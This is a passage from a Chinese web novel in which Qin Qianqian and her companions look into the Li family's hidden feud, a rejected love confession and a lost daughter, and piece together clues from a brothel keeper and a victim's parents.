这一下把正襟危坐的白邵禾吓清醒了，他缓缓睁开眼，晏信是没有看过来，不然他就能看见白邵禾满眼怒火。
“晏信兄，现在已是深夜，说话声音可否小一些。”白邵禾语调毫无波澜，但只有他知道，自己现在杀人的心都有了。
而晏信符合白邵禾对富家公子哥的一切幻想，与其说是单纯，不如说是愚蠢，而这种人，往往又有着一颗想要救风尘的心。
“我只是实在忍不住愤慨，我们就应该早些把她救出来，你知道她的身世多惨吗？”晏信十分惋惜地说，白邵禾实在是不想搭他的话，可没办法。
“晏公子，你的做法的确是豪杰所为。可我觉得，你今日救了她，也难救天下人。她有她的苦衷，那聚月楼有多少人没有苦衷呢？天下又有多少个聚月楼呢？”
白邵禾这话，就是想让晏信想清楚，他要是一个一个听别人的故事，听到下下辈子、挥霍完家里所有的钱财，他也救不出所有身陷囹圄的人。
可谁知这话说到了晏信心坎里，他没有听出其中的批判，只觉得自己遇上了知己。
“邵禾兄这话真是说到了我心坎里！这也是我此行的目的，我就是要找到，那世间无所不知的人，让她帮我想个法子，怎么能解决这些问题。”
说不触动是假的，白邵禾简直是大吃一惊，他是怎么想到这种既动脑子，但又让人觉得他
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不想动脑子的方法的……
“你……”白邵禾为难地咬了下嘴唇，选择了一个婉转的说法。毕竟，面对那人一脸希冀的表情，实在是说不出什么难听话。
“你这个想法很不错，只不过你想找的人，是谁？”
听他这么问，晏信立马一脸向往地念叨起那人。
“自然是名震天下，无所不知的京都清风酒楼的老板啊！听闻她有经天纬地的本事，也就是说，世上发生的所有事情，她都知道的。”
“什么酒楼？”
“清风酒楼啊！”晏信疑惑，那人怎么一脸匪夷所思地看着自己，他记得白邵禾不聋啊。
“清风酒楼，那你知道老板姓什么吗？”
白邵禾决定再坚持一下，说不准，他能自己发现这个“惊天秘密”呢？
“这我知道，姓秦……，姓秦！”
晏信眼睛瞪得滴溜圆，他震惊的站不稳，往后踉跄了一步。
秦，也就是秦千千！
酒楼，也就是清风酒楼！
之前的一切都说通了，怪不得她知道自己出门算命的那些事儿！
晏信愣了好半天，久久没有出声，以至于状态奇差的郁春儿都顾不上哭，担心地上前问他还好吗？
白邵禾扫了她一眼，让她坐下，无须担心。
“放心，他只是需要一点时间消化。比起这个，那我不如再问晏公子你一个问题，你既然有宏图伟业要做，那当初为什么要在包子铺，选择跟我们同行呢？”
白邵禾一直很好奇这个问题，于是就趁着这个机会问了出来。
白邵禾反复思考过这个事情，原本他以为晏信跟自己一样，接近秦千千，是有目的的。区别在于，晏信比自己更加急功近利、不知伪装。
可后来，他暗暗觉得这事儿不对劲儿。
晏信深深看了他一眼，长叹了口气，其实真正理由他是说过的，只不过没人当真而已。
“其实你们是不是以为，我说我喜欢千千的时候，是在胡言乱语？其实我完全没有。”
白邵禾终究还是没能藏住，眼中的难以置信。晏信察觉后，自嘲地笑了一声，神情十分落寞。
“或许白公子还没有遇到过一个人，自从看到她之后，你的眼中就再也看不见别的人了。千千对我来说，就是那样的人。我整日只想关心她的心情好不好，想让她天天开心。”
晏信在剖析自己的心事，白邵禾站在原地恍惚。与其说是恍惚，倒不如说有些嗤之以鼻。
这人描述的情况，就是喜欢吗？白邵禾不以为然。
他为了自己的目标，也是在秦千千身上费尽心思，也会时时刻刻关心她的情况，那就是喜欢吗？
当然不是！
在他沉思的时候，晏信抓住他左右的肩膀，让白邵禾给他出个主意。
“邵禾兄，你说我该跟她说明白这事儿吗？”
白邵禾眼神一凛，抬眸看着他认真的表情。
“当然！你喜欢她，就自然要告诉她。”
47. 分头行动（三）
白邵禾不知道自己出于何种心理，以往最擅长分析问题、权衡利弊的他，自然而然地说出了那个答案。
晏信很明显把话听到了心坎里，他郑重地点了点头。
“放心，等她回来，我就告诉她。”
话音刚落，隔壁就传来了动静。白邵禾与晏信赶忙去看，郁春儿也跟了过去。
这下六个人面面相觑，最后还是秦千千先打破了沉默。
“这位是……？”她眼神茫然地看着郁春儿，郁春儿赶忙介绍自己的来历。
“哦！是这个样子啊，那春儿，你怎么不早些去休息？”秦千千听了个大概，中途还抬眼看了下后面站着的白邵禾以及晏信。
晏信明显有事儿要说，而且很迫不及待的样子。白邵禾随着秦千千的目光，看向了身边的晏信。
晏信眼神直勾勾的盯着秦千千，几乎都不带眨一下的。而他脸上，是几乎抑制不住的欣喜。
等到秦千千差不多跟郁春儿寒暄完，晏信上前一步，想跟秦千千说什么。却被白邵禾捷足先登，抢先一步开了口。
“千千，你们怎么还换上了绸缎衣服？看这个制式，没见你们穿过啊。”
这是白邵禾进门就在疑惑的问题，那些衣服裁剪得体、用料讲究、颜色鲜艳，看起来像是价格不菲的特制。
听了这话，桃花花笑着跟他解释。
“这是王小姐说是酬劳我们，送的衣服。而她实在嫌弃我们原来穿的，就直接让我们换上了。”
白邵禾恍然大悟的点头，秦千千一掌抵住了走到她眼前，还要往前走的晏信，问他在发什么疯。
秦千千这个反应逗笑了白邵禾，他哑然失笑，也不知道这人是着急表明心迹，还是找她买救人的门道。
在白邵禾拭目以待、秦千千快要忍无可忍的时候，晏信终于鼓足勇气开口。
“千千，我喜欢你。”
虽然有心理准备，可真当他说出来，白邵禾却有些烦躁。他抬眸看着秦千千的表情，生怕错过一丝一毫。
秦千千疑惑地挑了下眉尾，一言不发地看着眼前的人，她的眼神中没有一丝震撼，而是是满满的不解。
白邵禾心想，她一定是在考究权衡，眼前这人说的话是真的假的。
“嗯，然后呢？”
这回答不仅让晏信沉默，也震惊到了在座的所有人，除了桑风雪。
因为她知道秦千千，不会也不能，牵扯任何感情的事情。于是，桑风雪早早坐下，品起了茶。白邵禾眨了两下眼睛。
一下掩藏住眼神中的震撼。
一下换上平时那副淡然。
晏信似乎被打的措手不及，他无措地捂着嘴咳了两声。思考一会儿后，才继续说道：“没什么然后，我就是想跟你说一声这事儿。”
秦千千潇洒的向后摆了下手，脸上还是一切往常的淡然，仿佛没有事情，能触动她内心一样。
“还以为你查到什么大的线索了！这种情爱之事，我是不懂也不想懂。所以，你抓紧找别的人喜欢吧。”说罢，秦千千从他身边走过，坐在了圆桌旁。
这干脆利落地拒绝，看得白邵禾心中感慨，她是一点都不考虑晏信的情绪啊。可转念一想，自己往日好像也是这种做派……
“不不不，我没有要你喜欢我，我只是想告诉你这件事儿而已。”
晏信紧跟她走了一步，坐在了她身边，目光灼灼的看着她。虽然背对着白邵禾，白邵禾看不清他的目光，但他看到秦千千的表情有一刻触动。
不过，那眼神一闪就不见了，以至于白邵禾都怀疑自己是不是看错了。
“这样最好，不能耽误现在要做的事情。说说吧，你们那边都查到了什么。”
现在秦千千肯定不指望“为情所困”的晏信了，她往前探身体，看着白邵禾。接收到她的信息后，白邵禾没有着急回答，他看了一眼坐在对面的郁春儿。
当着她的面，再说一遍那个事情，未免有些残忍。于是，他得先确保，郁春儿的情绪。
“白公子，我没事的，你若不方便来说，那就我来说？”
“这倒不用！”白邵禾礼貌地点头，开始复述起了在聚月楼发现的事情，郁春儿的遭遇。
秦千千听得认真，奈何旁边的晏信一直盯着他，秦千千没办法装完全看不见。她抬手掐着晏信的下巴，把他的头转了过去。
“你若是以后都这个样子，那我们真的要分道扬镳了。”
晏信不情不愿地点头，托腮听白邵禾说话，心思却又飘到了秦千千身上。他在心中盘算，待会儿得留下来，问问她交易的价钱。
搞清楚来龙去脉后，秦千千心疼地看了郁春儿一眼。她隔着桃花花，一伸手抓住了郁春儿放在桌子上的手。
“放心，跟着我们，你一定不会出事的。”
郁春儿双眼噙泪地看着她，“谢谢小姐，我都不知道要怎么谢你们了。”
安慰她几句后，秦千千跟白邵禾他们谈起了，她们那边的情况。
记录中写的的很清楚，李朗带着安含玉从西门离开，两个人只带了四五个仆从。而梁平乐是从东门离开的，可奇怪的是，她却是孤身一人。
“鉴于梁平乐多年没有出府，很多人不记得她的样子，因此，王小姐是从画像中，推断她是梁平乐的。”秦千千刚说完，白邵禾眉头微蹙：“画像？”
“是的，对于身份不明的人，守城之人会临摹出画像留存。这封画像我带回来了。”
王小姐的衣服，袖子非常宽大。又因为没有量体裁制，里面的素净中衣也不是那么合身。
于是在秦千千递过去画像的时候，桌面绊着衣袖，衣料顺着胳膊滑落到手肘。她莹白的胳膊就这么露了出来，白邵禾秉承非礼勿视的君子原则，立马低头。
晏信也赶忙转过头，脸上甚至有那么一点绯红。
秦千千大大咧咧的，察觉到这事儿后，收回胳膊朝下抖了抖。这都什么时候了，还在乎这些细枝末节的？
“可是我们也不认识梁平乐，也看不出什么门道来吧？”晏信凑过去看了看那画中的妇人，十分不解。
“千千的意思，是让我们拿过去给李思源看吧。”白邵禾耐心跟他解释，晏信这才恍然大悟。
“好好好，那你们休息吧，我们明天就
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去找李思源。”
“好的，现在夜都深了，我们明天要睡个懒觉了。”秦千千捂嘴打了个哈欠，他们两个不再逗留，没一会儿就离开了。
果然，第二天晏信和白邵禾出发时，秦千千她们还没醒。白邵禾只当她们昨夜睡得太晚，需要好好歇息一下。不忍心打扰她们，就直接去李府了。
李思源也不再披麻戴孝，他身着绿缎长袍，接待两位。原本一切都好好的，可在他看到那副画像的时候，那副淡然僵在了脸上。
他不仅慌乱了起来，还紧紧皱起了眉头。
“怎么了？这难道不是你娘吗？”白邵禾不解。
李思源几乎是站都站不稳，他扶着椅子坐下，脸色苍白的地点头。
“这的确是我娘。抱歉，看我娘这番憔悴的样子，我真的突然十分心疼她。因此失态了，不好意思。”
晏信后知后觉地点头，自从昨天秦千千拒绝跟他单独谈话后，他就一直是这种心不在焉的样子。白邵禾不知道怎么劝，也懒得劝他。
等他终于回过神，便准备告知李思源，秦千千嘱托的事情。
“李公子，千千说……”
“李公子，千千说确认好后，让我们赶紧告诉她，我们好商议接下来怎么办。既然已经确认，那我么就先回去了。”
白邵禾突然打断晏信的话，让晏信一头雾水。可他又十分信任自己这个伙计，于是只能点头随他离开。两个人出府走远后，晏信才问他原由。
“这画像有猫腻，不是对我们来说有问题，而是对李思源来说。所以之前千千的话，先别告诉他了，现在最好按兵不动。”
晏信想来也是，白邵禾的确比他细心谨慎一点，看来自己要学的事情还有很多。
客栈里的秦千千一行人已经起了，四个人坐在餐桌边吃饭。桑风雪聊起了王老怪和元德，一夜过去，不知道他们那边查的怎么样了。
秦千千咬了一口馒头，漫不经心地回复她：“王老怪那个懒蛋，让他去，他铁定在那里墨迹一整天。反正啊，今天是不会回来的。”
这话勾起了桃花花的兴趣，她敲了敲眼前的碗，等秦千千看过来的时候，她笑着提议：“要不要赌一把！”
秦千千势在必得的耸耸肩，“好啊，我赌他回不来。”
“那我也赌他今天回不来！”
“……”秦千千白了她一眼，这还赌什么。“自己吃饱了就上楼玩去吧，真的没空陪你玩。”
这时，外出的两个人回来。白邵禾只看到桃花花气呼呼的上楼，就能猜出肯定又是秦千千跟她闹别扭了。他径直走到秦千千身边，坐在了她身边的长凳上。
“千千，李思源非常不对劲儿。所以，你交代的事情，我们没有告诉他。”
秦千千停下筷子，一脸严肃地嚼着馒头。白邵禾看着她，等她说些什么，桑风雪却摇摇头，让他别等了。
“千千一看到吃的，那头脑就空空了，现在她是没办法给你什么回复的。所以，先吃饭吧。”
“老板，再加一个清炒白菜！”脑袋空空的秦千千，抬头点菜。白邵禾都有点被气笑了，算了，还是吃饭吧。
48. 再访聚月楼
吃饱喝足后，她们才上楼开始分析起现在的情况。
“邵禾兄，你再跟我说一下，那里的情况。”秦千千食指十分有节奏地敲击着桌面，白邵禾无法从她低垂的眼眸中，看出任何悲喜。
于是，他只好再复述一遍所有事情。听罢后，秦千千沉默不言，别的人也都没有说话。唯独郁春儿，一副神情犹豫的样子，好像在思考要不要说。
白邵禾看到她犹豫，就让她不用顾忌，想说什么就说什么。
“我担心我说出的话没有什么用，或者误导你们就不好了。既然白公子这么说，那我就索性告诉你们。其实半个月前，我在聚月楼见过李思清带着李思源去，而且……而且李思清当时对他弟弟挺好的。不能说是好，而是有些唯命是从的意思。”
“这怎么可能！”晏信一个激动，直接站了起来。而他此举吓到了郁春儿，她赶忙捂住心悸的胸口，张口在座位上大喘气。
白邵禾瞥了他一眼，这一惊一乍的是在干什么！
“这就是我最担心的事情，李思源或许没有跟我们说实话。因此这才让你们两个去查，现在看来，果真有猫腻！”
究竟谁对谁错，现在还不好说。可唯一板上钉钉的事情，那就是李思源也不是个什么好东西。
别人都是因为被玩弄不爽，可秦千千结结实实快被气炸了。
不应该啊，她掌握的消息怎么会有错误呢？从来没有失过手的人，在小河沟里翻了船，这真的让秦千千接受不了。
白邵禾一眼就看穿她在为什么怄气，就开口安慰她。
“千千，或许你之前搜集到的消息都没错。而现在这个情况，或许是因为，短期内出现了什么变化。比如，李思源拿捏到了李思清的把柄？”
秦千千思前想后，现在也只有这一种解释了。
“那我们现在去问李思源，问他是不是在耍我们！”
刚刚出来一个冒失的晏信，现在桃花花也激动起来。她一拍桌子、忿忿不平地站了起来。秦千千压抑住心中的火气，让她坐下。
“那孙子想告诉我们的话，早就跟我们说了，何必等现在我们上门，他压根就没想告诉我们。”
以为自己做的事锄强扶弱、替天行道的事情，可谁知道这居然是在被人家利用，这秦千千是真的忍不了。
原本现在应该拿着出城记录，让李思源派人出城寻找他家三位长辈的，可现在秦千千不想那么做了。
在查清李思源这个人的庐山真面目之前，秦千千决定不采取任何行动。现在的当务之急，就是去查李思源。
“春儿，你到秋风阁多久了？你们那个掌事的，在秋风阁多久了呢？”
“我到那里五年了，柯姑姑我不太清楚，估计得有个十几年了吧？”
这下秦千千心中有数了。若说最了解李思清的人，除了他爹娘，和那两个死去的新娘子，那应该就是聚月楼的老板柯秋彤了。
可惜的是元德王老怪还没有回来，现下秦千千外出，能带出去的只有白邵禾与晏信两人其中的一个。毕竟还要留下一个人，跟桑姐姐一同驻守大后方。
察觉到她要出门后，白邵禾选择了装不知道，晏信却积极地表达，他想要跟着去。
桑风雪和桃花花互换了个眼神，都是无语的很。桑风雪纯属不理解，这人难道不会看一点脸色吗？至于桃花花，心中还有一丝可惜。
桃花花是在可惜，他不知道秦千千的为人，他这两天的所作所为，全都是在秦千千的大忌上蹦跶。
那些大忌，连桃花花这种肆意狂妄的人，都不敢触碰。
果然，秦千千还是带走了白邵禾，留晏信跟她们在客栈等消息。晏信在屋中垂头丧气的，可屋中桑风雪、桃花花，还有郁春儿，三个人没一个上去安慰他的。
她们都知道，有些事情，必须要他自己琢磨，才能琢磨的明白。
白邵禾跟着秦千千匆匆赶路，直奔聚月楼。可或许是秦千千走得太急没看路，直接跟一个人肩膀撞肩膀，两个人都撞个踉跄。
白邵禾赶忙上去扶住她，秦千千抬手揉着自己的左肩，一脸不悦地看着那人。等看清来人后，白邵禾愣了一下。
这不是银饰店的那个店主妹妹仲芷珍吗？
等秦千千站稳后，他就松开了手，顺势低头看了一下秦千千的表情。
她眉头一皱，似乎察觉到哪里不对劲儿。
“千千，我们快……”
“你不是卖银饰的那个人吗？现在怎么改卖这些竹编了。”
秦千千没有理会白邵禾的话，她看着仲芷珍手里拿着一个，像插冰糖葫芦的稻草棒槌，上面吊满了各种栩栩如生小竹编。
有蝴蝶、蜻蜓、蚂蚱什么的。每个竹编都有一根细细的丝，绑在笔直的长棍上，而那些长棍，插在茅草棒槌上。
由于刚被装的站不稳，她肩上的那些小竹编，都在晃来晃去，再配上上乘的手艺，显得那些东西更加活灵活现了。
仲芷珍看了一眼白邵禾，看他阴沉着脸，她心想这下完了。照道理说，她是不能出现在这里的。
可是早晨她听到季大人跟他哥说，已经两天联系不上白公子了。仲芷珍心中就犯起了嘀咕。于是，她借着卖东西的时间，想着悄悄跑过来刺探一下。
这下倒好，直接狭路相逢了。
“啊！原来是来过我们店里的小姐，那是我哥哥的银饰店，我学的手艺就是竹编，所以这走街串巷的卖一卖。”
这理由说得过去，又加上秦千千着急去聚月楼，她就没时间再怀疑什么。
“这挺好看的，给我来一个吧。”
仲芷珍给她取下一个巴掌大的兔子竹编：“跟小姐有缘，送你一个我最喜欢的。”仲芷珍用胳膊夹住稻草棒槌，双手捧着给了秦千千。
秦千千提着那枝杆子，付给她十文钱，拿开兔子后，她深深看了眼仲芷珍的手掌。白邵禾担心露出什么马脚，就开口催促她离开。
走出一条街后，秦千千脸上的笑容突然消失。
“让我看看你的手。”
白邵禾心中懊悔，她肯定是对仲芷珍心中起疑了。可眼下
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，他也不得不伸出自己的手。
秦千千用手轻轻抚过他虎口、掌心、最后在食指和中指间稍作停留。白邵禾发觉她的手很凉，而且还很柔软。
“这才是正常的吧？练功和做手工的人，都会有老茧，你这手就很好的说明了这点。可那个仲芷珍，是谁派来监视我们的呢？说是手艺人，可她的手，几乎跟我的手一样光滑了。”
秦千千自我认知清晰，她知道在清闲这方面，没几个人能比得过她。于是，她探出手，给白邵禾看。
果然，她双手皮肤柔嫩无比，骨节修长、十指葱白，指尖略带血色，因此显得指尖微红。
白邵禾虽然没有上手摸，可刚刚她摸自己的时候，他就感觉出来了。现在一看也能看出来，这就不是动手干活的人。
“不过现在来不及讨论这个，我们还是赶紧找去柯秋彤吧。”不能让她再深究下去，白邵禾第一次有些急切地转移话题。
不过秦千千好像没有发觉，她郑重地点了点头，两人朝聚月楼赶去。
“李思源？他不是死了……”
“我们已经知道兄弟俩换身份的事情了，你赶紧老老实实的把事情全给我交代了！”看柯秋彤还想抵赖，秦千千拉着她的手腕逼她说。
可那柯秋彤也不是吃素的，她直接使劲儿反拧胳膊，愣是从秦千千手里挣脱了出来。秦千千痛的不行，低头查看自己的手，掌心已经被她戴的桌子挂红了一片。
一旁的白邵禾看到这一幕，不由得在心中感叹，秦千千真是身娇体弱啊！于是他直接上前，掐住了柯秋彤的脖子，微微用力。
“你最好把你知道的都交代出来。”看着他狠厉的眼神，柯秋彤怂了。亏她昨晚上还夸，他是什么翩翩君子，真是走眼了。
“说说说，我都说。”
白邵禾松开手，他转身查看秦千千的情况，那人还在鼓起脸颊朝手掌吹气，白邵禾偏头翻了个白眼，咳嗽一声提醒她。
秦千千立马回过神来，用完好的那只手，指了指桌子。三个人都坐下后，她才开始询问情况。
“一五一十，把李家哥俩所有的情况，都给我说清楚了！别说那些没用的啊，不然我可对你不客气了。”
这话显然是吓不到柯秋彤，她甚至还有闲情逸致翻白眼。毕竟她所受到的压迫，全来自秦千千身边的白邵禾。白邵禾眼神一凛，柯秋彤赶忙连连点头。
“他们哥俩之前是不对付，后来，也就是一个月前吧，那李家老大就突然懂事儿了，对他弟弟特别好。有次还提到……还提到……，两位，我说了这事儿，你们得保我安全啊！”
秦千千和白邵禾对视一眼，看来是查到别的事情了。白邵禾应允她，让她放心说。
“也就是那大少爷在我们这里喝酒，酒后念叨我才想起来，他还有个亲妹妹呢，不过后来走丢了，而且李家不允许任何人提起，久而久之，大家就都忘记这事儿了。”
“他念叨什么？”白邵禾问出了秦千千想问的关键。
“念叨什么别再回来找他，他不是故意的。”
49. 连夜返回的王老怪和元德
两个人从聚月楼出来，一直沉默无言。比起直接回去，面对大家七嘴八舌的盘问，秦千千更想找个安静的地方，好好捋捋思路。
“你要是想回去的话，就先回去吧，我想一个人在外面静静。”
白邵禾不会把她一个人放在外面，毕竟她现在的身份，基本上是个人都知道。留她一个在外面，实在是危险。可现在又是他金蝉脱壳，去跟暗卫季春霖汇合的最佳时机。
权衡利弊之后，白邵禾还是决定先跟着她。
“那走吧，我们去哪里？”
白邵禾本以为她会找什么隐蔽又清闲的地方，谁知道秦千千随便看了看四周，随手指了一间茶馆。
“就那里吧。”
临近中午，元德终于叫醒了王老怪。元德是真没想到，这人前一夜又没喝酒，只是快马加鞭那么快两个时辰，王老怪居然能睡到中午。
好不容易叫醒他，两个人吃过午饭，这才走出客栈准备查线索。
“不是我说，你着什么急嘛，我怎么感觉，你比那李家少爷还着急呢！人家爹娘丢了，着急正常；你这着什么急！”
元德怎么能不着急，别的暗卫被下了死命令，哪怕殿下遇到危险，也不能露面。能在殿下受险的时候，挺身而出的人，只有自己。
可现在他被指派到这里，元德自然是想早办完差事，早些回去。但这个王老怪，就跟接了任务拖沓一样，死活不配合他。
这不，都到这个点了，他还在后面跻着鞋，不紧不慢地走着。
“老板给了任务，我们还是尽早完成比较好。再说，你为什么不让我一个人去查。”
从昨夜开始，王老怪都三令五申地不让他单独去查。元德问了好几次原因，王老怪都看着他摇头，却不说原因，只说是秦千千交代的。
“好吧，都到这点了，那我就告诉你。其实是秦千千看你不懂弯弯绕，你直来直往的调查，打草惊蛇了怎么办？万一李朗发狠，直接杀了梁平乐，那又当如何？”
虽然不情愿，但元德不得不承认，他还有秦千千想的是对的。
元德身为暗卫，经常刺探情报不假，可他们的目标，往往都是些将死之人。换句话说，他们之前就是去杀人的。像这种救人的事情，他还真没怎么做过。
看着元德终于信服的样子，王老怪笑着摆手：“其实那不是秦千千说的，是我说的，不过没差对不对？反正你听劝了就好。”
元德瞪了一眼他，原来他是在“假传圣旨”！
一牵扯到逃命，王老怪跑的可快了，他直接脚底抹油溜了。元德担心他乱跑，就赶紧追。没费多大功夫追上他后，元德不满地吐槽他。
“你这一瞎跑，咱们又得重新找线索，找到安府在哪吧？”
王老怪摆摆手，真当自己吓跑呢！
“昨天你在马厩喂马的时候，我就问了店小二，他早就给我指好了方向。说是朝这边走，走到尽头看到湖边的唯一一户人家，就是安含玉的家。”
他俩朝着那个方向走了半个时辰，越走越觉得不对劲儿，这怎么是去郊外的路啊，越走越是荒凉。可都走到这里了，硬着头皮也得走完。
王老怪都已经想好自己怎么死的了，毕竟延误一天他觉得还说得过去，秦千千安排自己来，可能就做好了这个准备。可延误两天，他真害怕回去后，秦千千直接提刀杀了自己……
王老怪和元德好不容易走到湖边，看到湖边的房子后，两个人彻底傻眼了。
“不是……，那个小茅草屋会是安含玉的家吗？”
穷酸如王老怪，也察觉出了哪里不对劲儿。那李朗好歹也是枫林镇有头有脸的人物，他又那么喜欢安含玉，怎么会不给丈人家里捯饬捯饬呢？
“来都来了，我去问问。”元德一路上都铁青着脸，现在脸色更是黑的难看。
王老怪跟在他身后，悄悄咽了口唾沫。希望是吧，不是的话，他立马转头就去跳湖！
两人走进才发现，那栅栏墙，才到两个人脖子那里，根本挡不住什么东西。但元德还是出于礼仪，走到门前敲了敲门。
“请问是安家吗？”
没一会儿，有个老头从屋中出来开门。
“这是安家，你们两位是谁啊？”
“那你认识安含玉吗？”王老怪急忙问他，他自己是三十来岁装老，可面对真真正正的老人家时，他还是很懂礼貌的，说话都轻声细语的。
那老人一皱眉，表情看着十分痛心，转身给他们让出路。
“进来坐吧，我闺女有啥事儿了？快点跟我说说。老婆子，快点出来，有事儿！”
刚把他俩招呼进院，老头就去屋里喊人，王老怪和元德不见外地坐在院中的椅子上。两个人都打量了一番院子，真可谓是穷苦。
可他们就是想不通，怎么会如此？
眼下两个人有更紧急的问题，那就是要不要跟老两口实话实说。他们表情都十分为难，最后，他们决定先不告诉老两口实情。
老两口赶紧一同坐着，问他们来这里有什么事儿。
“是这样，安夫人让我俩给你们送一些银两……”元德只能硬着头皮扯谎，看到一旁噤声的王老怪后，还不忘把他拉下水。“对了，这可是外地来的神医，他还能帮你们看看病什么的。”
王老怪挠挠头，“对对对！二老，有没有哪里不舒服的，快跟我说说吧。”
王老怪之前可没想到元德还有这么机灵的时候呢，他朝元德投去敬佩的目光。元德把怀中五十亮银票给他们递过去，这看的王老怪愣住了。
他怎么这么有钱！
再好奇也不能在这里问，王老怪刚压下心中的疑惑，对面的老两口就哭了起来。元德和他都一头雾水的，这是怎么回事儿？
“两位，你们就老实跟我们说，我们家姑娘，是不是出什么事儿了？”
无奈之下，他们只好把情况如实交代了，好在那老两口耳朵不聋，条理也还算清晰。老太太擦了擦眼泪，斩钉截铁地说绝对不可能。
“我们姑娘，那是十里八乡都知道的好孩子，她怎么可能为难他们李家的老二！”
听到这话，元德和王老怪都认为，这是父母向着自家孩子的说辞。便将这事儿敷衍过去，问起了李朗和
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安含玉的婚事。
老两口的警惕性还是有的，他们听到王老怪表明身份，说是朝廷命官后，才把一切和盘托出。
安含玉和李朗的婚事，根本不是什么父母命媒妁言。仅仅是李朗凭借着势力强取豪夺，事后还切断了安含玉跟家中的所有联系。
婚前安家不同意，李朗就找人三番五次地去安家又打又砸的。被逼无奈，安含玉只能同意嫁给他。
安含玉早就有了先见之明，出嫁前一晚，她就交代了老两口，她这一出嫁，就当她已经死了。
要是再有回信传来，不管是好信儿还是坏信儿，都是别人假冒的，千万不能相信。
因此她们这才立刻识破了，王老怪他们的托词。真相听得他俩唏嘘不已，那李朗真是作恶多端。送别他俩时，老两口还说希望能早日破案，让她女儿早日回家。
元德执意把五十两银票给他们，让她们日子好过一些。老两口又是感恩戴德好一顿谢。返程的时候，天又已经黑了。
“不是我说，咱们就不能在这里再歇一晚上？非得趁着天黑赶路是吧！”王老怪怨念满满，前一夜是大半夜赶来，今夜又得奔波回去？
元德从马厩中牵出马，把缰绳递给他，神情严肃。
“这消息太关键了，我们得马上回去告诉老板她们。”
等到他们策马赶回去的时候，来不及在楼下喝口茶，两个人赶忙回到楼上。
元德先叫上白邵禾与晏信，好在白邵禾还没休息，一行人去敲秦千千她们的房门。他们都万万没想到，开门的居然是冠带整齐的秦千千。
若是非让王老怪说哪里不一样，那大概是秦千千一改往常的欢快容颜，现在的表情十分阴郁。白邵禾惊讶地发现，她现在跟自己分开时，没有一丝变化。
秦千千侧身给他们让路，众人有序往屋里走。
看到白邵禾眼中的讶异，同样冠带整齐的桑风雪开口为他解答疑惑。
“千千一直坐在桌子边发呆，所以，她跟两个时辰前一模一样。”
白邵禾对桑风雪点头致谢，他现在很担心秦千千的状态。自从下午从聚月楼出来，两个人坐在茶摊开始，她就一直不言不语的。
那时候白邵禾才懂，她为什么随便选个地方，因为她只需要一个地方坐着发呆而已。
他没想到下午一坐就是两个时辰，晚上回来秦千千随便吃了两口饭，就有上楼了。
白邵禾本想开口安慰她，王老怪却搭上他的肩膀，让他别慌。
“千千，我这里的消息，你知道了保准大吃一惊！”王老怪跟在秦千千身后，往桌子边走。众人都抬头看他和元德，都很好奇，那边究竟查出来了什么。
听了这话，秦千千才抬头，她皱眉盯着王老怪：“你想跟我说，安含玉其实是个顶顶好的人，是吗？”
白邵禾、桑风雪、桃花花、晏信还有郁春儿都还在一脸懵的状态，元德和王老怪则是大吃一惊，他们两个异口同声的感叹。
“不是，你怎么知道！”
秦千千表情一瞬间阴翳了起来，她就知道，该死的李思源把她们都给玩了。
50. 秦千千的推测
白邵禾猜她一定是推测出来的，一下午加晚上的不言不语，足够她推测很多事情、很多情形了吧。但他还是很惊讶，眼前这些破碎的线索，秦千千是怎么推测出来的。
王老怪和元德简单讲述了一下，在那里发生的所有事情。他们从安家出来，一致认为，不能放弃安含玉是好人的那个说法。
于是他们找了一下午的人证，终于在晚上的时候，确认了这事儿。让安含玉声名大噪的，不是貌若天仙的长相，而是她十分可贵的品德。
晏信又跟王老怪他们讲述，这两天枫林镇发生的事情。以及晚上才知道的，李府有个女儿但很早就走失的消息。
秦千千自从说了推论后，就一言不发。白邵禾看她们沟通的差不多了，就开口跟秦千千说话。
“千千，该你跟我们分析一下了。”
白邵禾心中的想法简单，他认为李家两兄弟的前尘纠葛不假，可事情在一个月前有了转变，弟弟不知发现了什么，突然可以威胁哥哥了。
而后，弟弟不想再逢场作戏，就杀了哥哥。谁知道李朗还是不愿意承认自己的二儿子，这让弟弟恼羞成怒，对李朗和安含玉动了杀心。
可李思源的说法是，他娘被挟持，但出城记录明明是她娘单独离开的，这就前后有了矛盾。
白邵禾自知他的推论有很多矛盾点，因此，他迫切地想听听秦千千的说法。
秦千千废话不多说，直接跟大家说起她的想法。
“我的想法很简单，李思源那个孙子绝对是骗了我们。他前半生被利用不假，可自从一个月前，聚月楼的老板说了，他哥跟他见面都点头哈腰的。也就是说，中途发生了一件事情，一件足以改变两人地位的事情。”
桑风雪和桃花花看得出来，秦千千这是真的生气了。要是往常，秦千千不会果断说自己的推论。
妄下揣测，那可是秦千千的首条大忌。
不过她们也理解，这次秦千千是真的被气坏了。单从下午到晚上，看秦千千沉默的状态来说，这次李思源绝对是要遭重了。自打当上老板之后，她还没有那么生气过。
“李家女儿的事情为什么，瞒的那么紧，禁止所有人讨论，还为此杀了几个谈论此事的人。那就只有一种可能，这事儿对李家来说，是绝口不提的丑闻。”
可李家少爷天天出入青楼，李家对此都毫不在乎，那究竟是什么程度的丑闻，才能让李家三缄其口呢？
这个问题一出，在座的所有人都沉默了。唯独白邵禾不是，他在沉思要不要说出自己的猜想。
“手足相互残害。”
“兄弟反目成仇。”
秦千千不再卖关子，她直接说了自己的看法，而白邵禾也说出了自己的猜想。听到白邵禾这么说，元德的心都提到了嗓子眼。
或许不应该叫猜想，而是他的亲身经历。毕竟经过五弟穆元基跟他内讧后，皇上最忌讳的，就是宫里宫外谈论这个事情。推己及人，他觉得李家的事情也是类似的。
秦千千有些意外，她歪头问白邵禾怎么想出来的。元德感觉这比之前任何一次出任务都要危险，他已经快要紧张到窒息了。
白邵禾却神情安然，岿然不动。
“我跟五王爷交好，所以听他说过与穆轩岚的恩怨情仇。而当时正是他告诉我，这件事情，是皇上最忌讳的事情。兄弟阋墙，传出去的话，会让旁人认为这个氏族有可乘之机。”
这个回答半真半假，而这是最不容易让人察觉异样的撒谎方式。
元德悄悄在心中松了一口气，秦千千也点头认同这个说法，随后继续说。
“而李家女儿的失踪，过失方一定是大少爷李思清，只有这样，李朗才会费尽心机地替他遮掩。李朗宁愿牺牲一个儿子，都要保全李思清的名声，那再牺牲一个女儿，也在所不辞的吧？”
王老怪双手一拍，那现在形式很明朗了啊！
哥哥作恶多端，被弟弟借由妹妹的事情打击报复，结果弟弟不能上位不说，还要替死了的人背锅。甚至母亲还被别人要挟，现在求助无门，只能过来求助秦千千她们。
简直是好惨的一个孩子。
秦千千抿着嘴看他，脸上一副一言难尽的样子。
